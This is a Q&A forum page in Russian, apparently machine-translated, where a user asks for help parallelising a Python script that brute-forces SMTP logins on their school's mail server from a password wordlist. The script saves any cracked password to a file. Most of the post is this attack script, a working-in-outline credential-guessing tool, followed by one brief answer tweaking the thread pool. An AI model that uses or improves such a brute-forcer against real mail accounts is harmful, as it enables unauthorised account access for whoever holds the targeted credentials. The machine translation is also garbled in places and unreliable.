0

/* Это не для чего-то незаконного, так как моя школа использует только 7 целых чисел, и я хочу посмотреть, могу ли я заставить это работать вовремя, поскольку в настоящее время мне нужно 1,59 года взломать пароль. У школы есть собственный частный сервер на месте для всех, кого это касается, и это легко обнаружить. Я сделаю это только для меня или моих друзей с их разрешения. */Параллельная вычислительная задача для грубой силы в python

Я просто хотел использовать многопроцессорную или параллельную работу, чтобы этот взломщик паролей работал в разумные сроки.

Вот моя попытка распараллеливания его

import smtplib 
from concurrent.futures import ThreadPoolExecutor 
def conn(): 
    print("Got to here3") 
    smtpserver.connect('private_email_server', 587) 
    smtpserver.ehlo() 
    smtpserver.starttls() 
    print("OK going to main") 
    main() 
def main(): 
    for password in passwfile.readlines(): 
     password = password.strip() 
     print("Go to here1") 
     try: 
      print("WELL AT LEAST WE GOT HERE") 
      smtpserver.login('[email protected]_email.com', password) 
      a = password 
      with open('pass.txt','w') as bc: 
       bc.write(a) 
      print ("[+] Password cracked----> %s" % password) 
      input() 
      break 
     except smtplib.SMTPAuthenticationError: 
      print("[-] Wrong --> %s" % password) 
      pass 
     except: 
      print("Got to here2") 
      conn() 
if __name__ == '__main__': 


    passwfile = open('per.txt', 'r') 
    smtpserver = smtplib.SMTP() 

    with ThreadPoolExecutor(max_workers=3) as exe: 
     exe.submit(conn) 

Это на самом деле работает только если пароль в первой строке его, он выводит только индикаторы я писал там как print ("Got to here3") Он не печатает треснувшие пароль или даже записать его в текстовый файл.

ответ

2

Вы пробовали

with ThreadPoolExecutor as exe: 
    exe.submit(conn) 

Это может быть, что вы на самом деле не подключены к серверу

Смежные вопросы